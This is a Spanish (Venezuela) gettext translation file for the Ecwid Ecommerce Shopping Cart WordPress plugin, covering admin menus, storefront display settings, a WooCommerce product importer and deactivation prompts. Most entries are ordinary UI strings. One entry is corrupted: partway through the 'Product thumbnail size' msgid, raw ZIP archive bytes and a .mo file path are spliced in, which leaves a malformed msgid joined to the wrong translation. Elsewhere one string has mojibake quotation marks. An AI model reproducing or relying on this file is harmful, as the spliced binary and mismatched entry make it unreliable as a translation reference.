#: includes/class-ecwid-admin-storefront-page.php:539 msgid "Publish" msgstr "Publicar" #: templates/admin/storefront/area-design.php:33 #: templates/admin/storefront/area-design.php:59 #: includes/class-ecwid-admin-storefront-page.php:532 msgid "Edit" msgstr "Editar" #: includes/class-ecwid-admin-storefront-page.php:525 msgid "Preview" msgstr "Vista previa" #: includes/class-ecwid-admin-storefront-page.php:516 msgid "Switch to draft" msgstr "Cambiar al borrador" #: includes/class-ecwid-admin-storefront-page.php:506 msgid "Edit page" msgstr "Editar página" #: includes/class-ecwid-admin-storefront-page.php:499 msgid "View store page" msgstr "Ver la página de la tienda" #: includes/class-ecwid-admin-storefront-page.php:286 msgid "Search products" msgstr "Buscar productos" #: includes/class-ecwid-admin-storefront-page.php:265 msgid "Category" msgstr "Categoría" #: includes/class-ecwid-admin-storefront-page.php:240 msgid "Page with that name already exists." msgstr "Ya existe una página con ese nombre." #: includes/class-ecwid-admin.php:538 msgid "My Profile" msgstr "Mi perfil" #: includes/class-ecwid-admin.php:533 msgid "Apps" msgstr "Aplicaciones" #: includes/class-ecwid-admin.php:523 msgid "Shipping & Pickup" msgstr "Envío y recogida" #: includes/class-ecwid-admin.php:518 msgid "Payment" msgstr "Pago" #: includes/class-ecwid-admin.php:513 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:88 msgid "Design" msgstr "Diseño" #: includes/class-ecwid-admin.php:509 msgid "Configuration" msgstr "Configuración" #: includes/class-ecwid-admin.php:504 msgid "All Sales Channels" msgstr "Todos los canales de venta" #: includes/class-ecwid-admin.php:499 msgid "Website" msgstr "Sitio web" #: includes/class-ecwid-admin.php:494 msgid "Mobile" msgstr "Móvil" #: includes/class-ecwid-admin.php:485 msgid "Sales channels" msgstr "Canales de venta" #: includes/class-ecwid-admin.php:480 msgid "Reports" msgstr "Informes" #: includes/class-ecwid-admin.php:475 msgid "Marketing" msgstr "Mercadotecnia" #: includes/class-ecwid-admin.php:470 msgid "Catalog" msgstr "Catálogo" #: includes/class-ecwid-admin.php:465 msgid "My Sales" msgstr "Mis ventas" #: includes/class-ecwid-admin.php:455 msgid "Store management" msgstr "Gestión de la tienda" #: includes/class-ecwid-admin.php:344 msgid "Instant site" msgstr "Sitio web instantáneo" #: includes/class-ecwid-admin.php:153 includes/class-ecwid-admin.php:154 #: includes/class-ecwid-admin.php:309 msgid "Storefront" msgstr "Escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Manage storefront" msgstr "Gestionar escaparate virtual" #: ecwid-shopping-cart.php:1111 msgid "Customize design" msgstr "Personalizar el diseño" #: ecwid-shopping-cart.php:1103 msgid "Manage store" msgstr "Gestionar la tienda" #: templates/importer/woo-main.tpl.php:97 msgid "Start Import" msgstr "Iniciar la importación" #: templates/importer/woo-main.tpl.php:87 msgid "Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target=\"_blank\">\"Billing & Plans\"</a></nobr> page in your Ecwid store control panel." msgstr "Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target=\"_blank\">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid." #: templates/importer/woo-main.tpl.php:82 msgid "Import creates new products and update the existing products with matching SKUs." msgstr "La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes." #: templates/importer/woo-main.tpl.php:60 msgid "Copying products and categories." msgstr "Copia de productos y categorías." #: templates/importer/woo-main.tpl.php:50 msgid "Import completed. <a href=\"%s\">Run again.</a>" msgstr "Importación completada. <a href=\"%s\">Ejecútela de nuevo.</a>" #: templates/importer/woo-main.tpl.php:34 msgid "Import is in Progress" msgstr "La importación está en progreso" #: templates/importer/woo-main.tpl.php:32 msgid "Import your products from Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/woo-main.tpl.php:18 msgid "Update your catalog" msgstr "Actualice su catálogo" #: templates/importer/woo-main.tpl.php:4 msgid "Import Your Products From Woocommerce to %s" msgstr "Importe sus productos de Woocommerce a %s" #: templates/importer/import-no-token.tpl.php:3 msgid "Click the connect button to get rights to update the product catalog" msgstr "Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos" #: templates/importer/woo-complete-alert.tpl.php:52 msgid "Go to Your %s Products" msgstr "Ir a sus productos de %s" #: templates/importer/woo-complete-alert.tpl.php:43 msgid "Download <a href=\"%s\">import log</a>" msgstr "Descargar <a href=\"%s\">registro de importación</a>" #: templates/importer/woo-complete-alert.tpl.php:32 msgid "Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>" msgstr "Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>" #: templates/importer/woo-complete-alert.tpl.php:21 msgid "<b>%s</b> categories" msgstr "<b>%s</b> categorías" #: templates/importer/woo-complete-alert.tpl.php:18 msgid "Imported <b>%s</b> products" msgstr "<b>%s</b> productos importados" #: templates/importer/woo-complete-alert.tpl.php:15 msgid "Import completed" msgstr "Importación completada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:10 #: includes/widgets/class-ecwid-widget-product-browser.php:12 msgid "Online store" msgstr "Tienda en línea" #: includes/class-ecwid-store-page.php:476 msgid "%s Store Page" msgstr "Página de la tienda de %s" #: templates/advanced-settings.php:79 msgid "Integration with search on your site" msgstr "Integración con la búsqueda en su sitio web" #: templates/sync.php:130 msgid "Deleted products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: includes/class-ecwid-custom-admin-page.php:66 msgid "Themes for Ecwid" msgstr "Temas para Ecwid" #: includes/class-ecwid-custom-admin-page.php:33 msgid "Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_VE.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: 